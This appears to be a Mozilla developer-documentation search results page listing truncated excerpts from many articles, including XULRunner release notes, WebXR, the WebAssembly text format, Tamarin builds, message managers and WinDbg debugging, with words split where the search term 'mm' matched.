...n the windows platform xul-based clients (support msaa) xul-based clients make full use of the gecko architecture, not only for html content, as well as for menus, dialogs and the entire user interface via an xml language called xul (extensible user-interface language). none of the user interface contains standard windows controls -- not even the menus! this is done to ensure a co
mmon look and feel across all supported platforms, and to allow for different skins (appearances). firefox (please use version 1.1 alpha builds or later) thunderbird (please use version 1.1 alpha builds or later) mozilla seamonkey (please use 1.8 alpha builds or later) how to find the content window and load the document screen readers need to find the content wind...
...And 9 more matches
Getting Started with Chat
neral rules and etiquette are still useful for our new home. please see https://wiki.mozilla.org/matrix for up-to-date information. general rules and etiquette once you have your client set up (see software below) and are connected, there are some basic rules you should follow to ensure the most enjoyable and productive experience: as with all mozilla forums and events, agreeing to our co
mmunity participation guidelines is a requirement for participation. try to keep messages as concise as possible. if you have something long to post, a code snippet for example, use paste.mozilla.org and paste the generated url in irc instead. when addressing someone directly, try to use name: message format. for example, "ashughes: good morning!" every channel has its own topic. try to keep your...
...also a few web-based clients which allow connecting to irc by clicking on irc:// links. one of the simplest web-based clients is mibbit, another is irccloud. these operate very much in the same way as the previously mentioned desktop clients and chatzilla. mibbit does not require flash or any other plugins. ...
... you should be aware of as a member of the mozilla co
mmunity: (remember to use irc.mozilla.org and port 6697 or 6667 for your server settings) #qa a channel for qa discussion #developers a channel for mozilla development discussion #sumo a channel for support with firefox for more information about the mozilla irc network and more channels, go here. co
mmands the following is a list of co
mmands you should be familiar with. simply type them into the message box at the bottom of the screen and press enter: /join #channel joins you to the specified channel until you quit your irc client or quit the channel /leave leave the current channel /mode #channel +k password sets a password for the channel. if #channel is ...
...And 9 more matches
Fundamentals of WebXR - Web APIs
ocular vision area. basic headsets typically start around 90° or so, while the best headsets generally have a field of view of around 150°. because the fov is a matter of the size of the lenses and how close they are to the user's eyes, there are limitations on how wide the fov can get without installing lenses into the user's eyeballs. a wide fov can substantially improve the user's sense of i
mmersion. however, increasing the fov can also increase the weight and cost of the headset. degrees of freedom the term degrees of freedom is an indication of how much freedom of movement the user has within the virtual world. this is directly related to how many types of movement the webxr hardware configuration is capable of recognizing and reproducing into the virtual scene. diagram showing ...
...me drawing code will have to redraw every pixel of each view during each frame in order to avoid the potential of artifacts being left behind. some platforms may provide previously-cleared frames to you, while others may optimize performance by not erasing the framebuffers in order to avoid having to touch each pixel twice per frame. there are two vr session modes available in webxr: inline and i
mmersive. the former, specified by the session mode string inline, presents the rendered scene within the context of a document in a web browser, and doesn't require special xr hardware to view. the i
mmersive session mode is indicated using the session mode i
mmersive-vr. this session mode requires an xr device such as a headset, and replaces the entire world with the rendered scene using the display...
... the webxr augmented reality module is still in a state of early development and is not yet stable enough for regular use. ...
...And 9 more matches
XRSystem: requestSession() - Web APIs
the xrsystem interface's requestsession() method returns a promise which resolves to an xrsession object through which you can manage the requested type of webxr session. while only one i
mmersive vr session can be active at a time, multiple inline sessions can be in progress at once. syntax var sessionpromise = xr.requestsession(sessionmode, sessioninit) parameters sessionmode a domstring whose value is one of those included in the xrsessionmode enum. ...
...object through which you can manage the requested type of webxr session. while only one i
mmersive vr session can be active at a time, multiple inline sessions can be in progress at once. syntax var sessionpromise = xr.requestsession(sessionmode, sessioninit) parameters sessionmode a domstring whose value is one of those included in the xrsessionmode enum. the supported modes are: i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. ...
...mode a domstring whose value is one of those included in the xrsessionmode enum. the supported modes are: i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the i
mmersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation. i
mmersive-vr indicates that the rendered session will be displayed using an i
mmersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment. the environmentblendmode is expected to be opaqu...
...And 9 more matches
font-variant-ligatures - CSS: Cascading Style Sheets
leads to more harmonized forms in the resulting text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...in the resulting text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...eractive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 9 more matches
Rich-Text Editing in Mozilla - Developer guides
or when preventing change to fixed elements in an editable environment). setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe. once designmode has been set to "on", the document becomes a rich-text editing area and the user can type into it as if it were a textarea. ...
...nside an iframe. once designmode has been set to "on", the document becomes a rich-text editing area and the user can type into it as if it were a textarea. the most basic keyboard co
mmands such as copy and paste are available, all others need to be implemented by the website. similarly, setting contenteditable to "true" allows you to make individual elements of a document editable. executing co
mmands when an html document has been switched to designmode, the document object exposes the document.execco
mmand method which allows one to run co
mmands to manipulate the contents of the editable region. most co
mmands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting). when using contenteditable, calling exec...
...ds when an html document has been switched to designmode, the document object exposes the document.execco
mmand method which allows one to run co
mmands to manipulate the contents of the editable region. most co
mmands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting). when using contenteditable, calling execco
mmand will affect the currently active editable element. ...
...And 9 more matches
Content type - SVG: Scalable Vector Graphics
> values are represented using svgangle or svganimatedangle objects. anything <anything> the basic type <anything> is a sequence of zero or more characters. specifically: anything ::= char* where char is the production for a character, as defined in xml 1.0 , section 2.2. clock-value <clock-value> clock values have the same syntax as in smil animation specification. ...
... css color module level 3. a <color> is either a keyword or a numerical rgb specification. in addition to these color keywords, users may specify keywords that correspond to the colors used by objects in the user's environment. the normative definition of these keywords is found in user preferences for colors (css2, section 18.2). the format of an rgb value in hexadecimal notation is a "#" i
mmediately followed by either three or six hexadecimal characters. the three-digit rgb notation (#rgb) is converted into six-digit form (#rrggbb) by replicating digits, not by adding zeros. for example, #fb0 expands to #ffbb00. this ensures that white (#ffffff) can be specified with the short notation (#fff) and removes any dependencies on the color depth of the display. the format of an rgb value i...
... three-digit rgb notation (#rgb) is converted into six-digit form (#rrggbb) by replicating digits, not by adding zeros. for example, #fb0 expands to #ffbb00. this ensures that white (#ffffff) can be specified with the short notation (#fff) and removes any dependencies on the color depth of the display. the format of an rgb value in the functional notation is an rgb start-function, followed by a co
mma-separated list of three numerical values (either three integer values or three percentage values) followed by ")". an rgb start-function is the case-insensitive string "rgb(", for example "rgb(" or "rgb(". for compatibility, the all-lowercase form "rgb(" is preferred. the integer value 255 corresponds to 100%, and to f or ff in the hexadecimal notation: rgb(255,255,255) = rgb(100%,100%,100%) = #...
...And 9 more matches
Understanding WebAssembly text format - WebAssembly
both the binary and textual formats, the fundamental unit of code in webassembly is a module. in the text format, a module is represented as one big s-expression. s-expressions are a very old and very simple textual format for representing trees, and thus we can think of a module as a tree of nodes that describe the module’s structure and its code. unlike the abstract syntax tree of a progra
mming language, though, webassembly’s tree is pretty flat, mostly consisting of lists of instructions. first, let’s see what an s-expression looks like. each node in the tree goes inside a pair of parentheses — ( ... ). the first label inside the parenthesis tells you what type of node it is, and after that there is a space-separated list of either attributes or child nodes. so that means ...
..... ) after the signature, locals are listed with their type, for example (local i32). parameters are basically just locals that are initialized with the value of the corresponding argument passed by the caller. getting and setting locals and parameters locals/parameters can be read and written by the body of the function with the local.get and local.set instructions. the local.get/local.set co
mmands refer to the item to be got/set by its numeric index: parameters are referred to first, in order of their declaration, followed by locals in order of their declaration. so given the following function: (func (param i32) (param f32) (local f64) local.get 0 local.get 1 local.get 2) the instruction local.get 0 would get the i32 parameter, local.get 1 would get the f32 parameter, and loc...
...g to webassembly, memory is just a large array of bytes that can grow over time. webassembly contains instructions like i32.load and i32.store for reading and writing from linear memory. from javascript’s point of view, it’s as though memory is all inside one big (resizable) arraybuffer. that’s literally all that asm.js has to play with (except that it isn't resizable; see the asm.js progra
mming model). so a string is just a sequence of bytes somewhere inside this linear memory. let's assume that we’ve written a suitable string of bytes to memory; how do we pass that string out to javascript? the key is that javascript can create webassembly linear memory instances via the webassembly.memory() interface, and access an existing memory instance (currently you can only have one per m...
...And 9 more matches
Notes on HTML Reflow - Archive of obsolete content
, begins at the root frame , which corresponds to the <html> element of the html document. reflow proceeds recursively through some or all of the frame hierarchy, computing geometric information for each frame object that requires it. reflow may have the side-effect of creating new continuation frames, for example, for a text frame when the text must be wrapped. some reflows are i
mmediate in response to user or script actions; for example, resizing the window or changing the document's default font. these are dispatched directly from the presentation shell (e.g., nsipresshell::stylechangereflow), and affect the entire frame tree. other reflows are incremental and are dealt with asynchronously; for example, when content streams in from the network. incremental refl...
...e layout constraints has occurred. stylechange, when the entire frame hierarchy must be traversed to recover from stylistic change; for example, a change in the default font size. dirty, when a container frame has consolidated several individual incremental reflows that have been targeted at its child frames. initial, incremental, resize, and style change reflows may each be performed as an i
mmediate "global" reflow from the presentation shell: an initial reflow is performed when the presentation shell is initialized to flow the shell's initial frame hierarchy. incremental reflows are dispatched en masse when the presentation shell's incremental reflow queue is asynchronously serviced. a resize reflow is performed when the presentation shell's dimensions change; e.
...al") an incremental reflow corresponds to a reflow that is specifically targeted at an individual frame in the frame hierarchy. a frame requests a incremental reflow (or one is requested on a frame's behalf) when something about the frame itself has changed. scheduling. ...
...And 8 more matches
Tamarin build documentation - Archive of obsolete content
5, 10.6 on intel linux 32 and 64 bit solaris 10 on sparc android 2.2 on arm windows mobile 6.5 mips (linux) sh4 (linux) getting the tamarin source the tamarin source resides in mercurial at tamarin central. active development source resides at tamarin redux. in this document replace instances of tamarin-central with tamarin-redux to operate in the redux repository. use the following co
mmand to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tamarin-central tips for working with mercurial can be found here. building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (
mmgc), and create a standalone executable (shell) for executing files in the abc file format. running the shell without any argu...
... the tamarin codebase contains a cross-platform build system for mozilla developers. ...
...ions. the flash player builds tamarin with the debugging hooks off for codesize reasons, but the mozilla client will build tamarin with the debugging hooks on. cross-platform build (general instructions - non-android) prerequisites: you need python 2.5 or later and gnu make 3.81 or later. (gnu make 3.80 does not work. nor does any other brand of make.) with the right prerequisites, use these co
mmands to build tamarin: $ hg clone http://hg.mozilla.org/tamarin-redux/ $ cd tamarin-redux $ mkdir objdir-release $ cd objdir-release $ python ../configure.py $ make ... $ shell/avmshell shell 1.0 build cyclone ... the avmplus executable is avmshell. optional flags: --enable-debugger - debugger build --enable-debug - debug build for verbose build of tamarin, you can pass cppflag...
...And 8 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
p, autocompletesearch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showco
mmentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, s...
...this shou...
...l be disabled. you might use a script to change this attribute. if false, the default, autocomplete is enabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...And 8 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
ich walks you through the entire process from the beginning, is also available. creating an overlay the first step is to create an overlay for the document containing the toolbar you wish to enhance. explaining overlays is beyond the scope of this tutorial -- you can read about them in the xul tutorial. to overlay a document, you need to know its uri. ...
... adding a button to the toolbar palette is very easy. ...
...pear on all windows that mailwindowoverlay.xul is applied to (i.e. main window and view message window). this needs to be looked into. adding the toolbar button toolkit applications have customizable toolbars; therefore, it's co
mmon practice for extensions to add their toolbar buttons to the toolbar palette, rather than adding them directly to the toolbar. the latter is possible, but is not reco
mmended and is harder to implement. adding a button to the toolbar palette is very easy. ...
...And 8 more matches
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using a archive tool (7zip is reco
mmended). the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.8.0.1 . to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball t...
...xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a new directory using tar -xzf xulrunner-1.8.0.1.en-us.linux-i686.tar.gz. the following directory is reco
mmended: /opt/xulrunner/1.8.0.1 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). ...
... remove the xulrunner directory. ...
...And 8 more matches
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
ets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended). the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.8.0.4 . to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball ...
...lrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a new directory using tar -xzf xulrunner-1.8.0.4.en-us.linux-i686.tar.gz. the following directory is reco
mmended: /opt/xulrunner/1.8.0.4 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). ...
... linux unpack the tarball to a new directory using tar -xzf xulrunner-1.8.0.4.en-us.linux-i686.tar.gz. the following directory is reco
mmended: /opt/xulrunner/1.8.0.4 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a co
mmand prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a co
mmand prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac ...
...And 8 more matches
XULRunner 1.9.1 Release Notes - Archive of obsolete content
eets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended). the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.9.1 . to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to ...
...lrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.1.19.en-us.linux-i686.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/1.9.1 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). ...
.... linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.1.19.en-us.linux-i686.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/1.9.1 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a co
mmand prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a co
mmand prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac ...
...And 8 more matches
XULRunner 1.9.2 Release Notes - Archive of obsolete content
mputer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended). the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.9.2 . to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a new ...
...ter xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a new directory using tar -xjf xulrunner-3.6.26.en-us.linux-i686.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/1.9.2 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). ...
...rections. linux unpack the tarball to a new directory using tar -xjf xulrunner-3.6.26.en-us.linux-i686.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/1.9.2 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a co
mmand prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a co
mmand prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x i...
...And 8 more matches
XULRunner 1.9 Release Notes - Archive of obsolete content
ets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended). the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.9 . to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a...
...unner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.0.17.en-us.linux-i686.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/1.9 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). ...
.... linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.0.17.en-us.linux-i686.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/1.9 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a co
mmand prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a co
mmand prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac ...
...And 8 more matches
XULRunner 2.0 Release Notes - Archive of obsolete content
ner for windows, mac os x, and linux, in english. the releases directory can be found here. specific runtimes can be found at: download xulrunner for windows download xulrunner for mac os x download xulrunner for 32-bit linux download xulrunner for 64-bit linux (warning: links may become out-of-date at times). windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended). the following directory is reco
mmended: c:\program files\mozilla xulrunner\2.0 . to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. xulrunner 2.0 is a universal binary co...
...ter for one user only). mac os x open the .pkg file within the installer and follow the directions. xulrunner 2.0 is a universal binary containing i386 and x86_64 architectures. xulrunner 1.9.2 and earlier versions had powerpc (ppc) and i386 architectures. linux (32-bit) unpack the tarball to a new directory using tar -xjf xulrunner-2.0.en-us.linux-i686.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/2.0 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). linux (64-bit) unpack the tarball to a new directory using tar -xjf xulrunner-2.0.en-us.linux-x86_64.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/2.0 . register xulrunn...
...y). linux (64-bit) unpack the tarball to a new directory using tar -xjf xulrunner-2.0.en-us.linux-x86_64.tar.bz2. the following directory is reco
mmended: /opt/xulrunner/2.0 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a co
mmand prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a co
mmand prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x i...
...And 8 more matches
Windows and menus in XULRunner - Archive of obsolete content
the xul file may also contain other top-level declarations for css and dtd, which i will discuss in a moment. ...
...the xul file may also contain other top-level declarations for css and dtd, which i will discuss in a moment. ...
.... when you launch your xul application, you’ll notice that xulrunner gives your windows a default icon (top left corner on windows). you’ll most likely want to specify your own icons. you can learn how to do it in the article window icons. menus and toolbars most desktop applications are complex enough to require some sort of menu and/or toolbar to structure the application’s available co
mmands. xul provides elements to support both menus and toolbars. building on the simple window code, here is what xul menus and toolbars look like: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper...
...And 8 more matches
Website security - Learn web development
previous overview: first steps website security requires vigilance in all aspects of website design and usage. this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most co
mmon attacks. prerequisites: basic computer literacy. objective: to understand the most co
mmon threats to web application security and what you can do to reduce the risk of your site being hacked. what is website security? the internet is a dangerous place! with great regularity, we hear about websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. in other high-profile ...
...t across the whole of the website: in your web application, the configuration of the web server, your policies for creating and renewing passwords, and the client-side code. while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more co
mmon attacks. other attacks can be mitigated through your web server configuration, for example by enabling https. finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes. the rest of this article gives you more details about a few co
mmon threats and some of the simple steps you can take to protect your site. note: this is...
...as you read, note how threats are most successful when the web application either trusts, or is not paranoid enough about the data coming from the browser. ...
...And 8 more matches
Ember resources and troubleshooting - Learn web development
previous overview: client-side javascript frameworks next our final ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to provide further resource links and troubleshooting information. further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discor...
...javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to provide further resource links and troubleshooting information. further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server — a forum/chat server where you can meet the ember co
mmunity, ask for help, and help others! general troubleshooting, gotchas, and misconceptions this is nowhere near an extensive list, but it is a list of things that came up around the time of writing (latest update, may 2020). how do i debug what's going on in the framework? for framework-specific things, there is the ember-inspector add-on, which allows inspection of: routes & controllers ...
... be loaded and the breakpoint will be placed in the pre-transpiled code for easier correlation to your project code. for more information on sourcemaps, why they're needed, and what the ember-cli does with them, see the advanced use: asset compilation guide. note that sourcemaps are enabled by default. ember-data comes pre-installed; do i need it? not at all. while ember-data solves the most co
mmon problems that any app dealing with data will run in to, it is possible to roll your own front-end data client. a co
mmon alternative is to any fully-featured front-end data client is the fetch api. using the design patterns provided by the framework, a route using fetch() would look something like this: import route from '@ember/routing/route'; export default class myroute extends route { ...
...And 8 more matches
Debugging on Windows
debugging power tool allows automatically attaching to child processes, such as web content process, gpu process, etc. enable it by going its configuration menu in "debug > other debugging targets > child process debugging settings", and ticking the box. if you have followed the steps in building firefox for windows and have a local debug build, you can execute ./mach run --debug from the same co
mmand line. it would open visual studio with firefox's run options configured. you can click "start" button to run firefox then, already attached in the debugger. alternatively, if you have generated the visual studio solution, via ./mach build-backend -b visualstudio, opening this solution allows you to run firefox.exe directly in the debugger. making it the startup project, by right clicking on i...
...o the documentation on firefox-source-docs. changing/setting the executable to debug vc++ 6.0: to change or set the executable to debug, go to project > settings..., debug tab and select general from the drop down list. "executable for debug session:" should show the executable you are debugging. if it is empty or incorrect, use the arrow button and select browse... to locate the executable. co
mmand line parameters and environment variables vc++ 6.0: to change or set the co
mmand line options, go to project > settings..., debug tab and select general from the drop down list. "program arguments:" should show the options. some co
mmon options would be the url of the file you want the browser to open as soon as it starts, starting the profile manager, or selecting a profile. you can also red...
...vc 8 also allows you to set environment variables there. setting breakpoints in dlls which are not yet loaded in memory vc++ 6.0: go to project > settings..., debug tab and select "additional dlls" from the drop down list. check "locate additional dlls" option. ...
...And 8 more matches
Performance
not just incurred by active tabs but by the total number of tabs in a session. the following examples omit some boilerplate code for the sake of brevity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics. performance best practices declaring stateless functions once per process bad: // addon.js services.
mm.loadframescript("framescript.js", true) // framescript.js const precomputedconstants = // ... function helper(window, action) { // ... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this...
...care must be taken to not leak references to the frame script global when it is passed into a jsm. alternatively the frame's unload event or weak maps can be used to ensure that frames can be cleaned up when their respective tab is closed. store heavyweight state once per process bad: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.
mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // framescript.js var maincopy; function onupdate(message) { maincopy = myaddonservice.deserialize(message.data.newconfig); } addmessagelistener("my-addon:update-configuration", onupdate) // maincopy used by other functions the main issue here is that a separate object is kept for each tab. not only...
...guration", onupdate) // maincopy used by other functions the main issue here is that a separate object is kept for each tab. not only does that increase memory footprint but the deserialization also has to be executed seperately for each tab, thus requiring more cpu time. ...
...And 8 more matches
Message manager overview
in the initial version of multiprocess firefox there are two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions the content processes, also called the child processes, run all web content. different tabs may run in different processes. message managers are designed to enable code in one process to co
mmunicate with code in a different process. at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process. these scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame. if chrome code wants to run code i...
...in the content process. these scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame. if chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use. process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to co
mmunicate with code running in the child (content) process. from firefox 38 onwards, they also enable code running in the parent process to load process scripts into the child process. these are like frame scripts, except they are global to the child process. process scripts are most likely to be useful when chrome code wants to run some code only once in the content process, to access some global s...
...ple, to register an observer or a content policy. frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to co
mmunicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts", but this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script. there are three different subtypes of frame message manager: the global message manager, the window message ma...
...And 8 more matches
How to get a stacktrace with WinDbg
k/. debugging to begin debugging, ensure that firefox is not already running and open windbg from the start menu. (start->all programs->debugging tools for windows->windbg) next, open the "file" menu and choose "open executable...". in the file chooser window that appears, open the firefox.exe executable in your firefox program folder (c:\program files\mozilla firefox). ...
...tart->all programs->debugging tools for windows->windbg) next, open the "file" menu and choose "open executable...". in the file chooser window that appears, open the firefox.exe executable in your firefox program folder (c:\program files\mozilla firefox). you should now see a "co
mmand" text window with debug output at the top and an input box at the bottom. before debugging can start, several co
mmands must be entered into the one-line input box at the bottom of the co
mmand window. tip: all co
mmands must be entered exactly as written, one line at a time, into the bottom of the co
mmand box. copying and pasting each line is the easiest method to avoid mistakes some co
mmands start with a period (.) or a pipe character (|), which is required. (the keystroke for a pipe character on us keyb...
... character (|), which is required. (the keystroke for a pipe character on us keyboards is shift+\) submit the log file on a bug or via the support site, even if nothing seems to happen during the debug process start debugging now that firefox is opened in the debugger, you need to configure your windbg to download symbols from the mozilla symbol server. to load the symbols, enter the three co
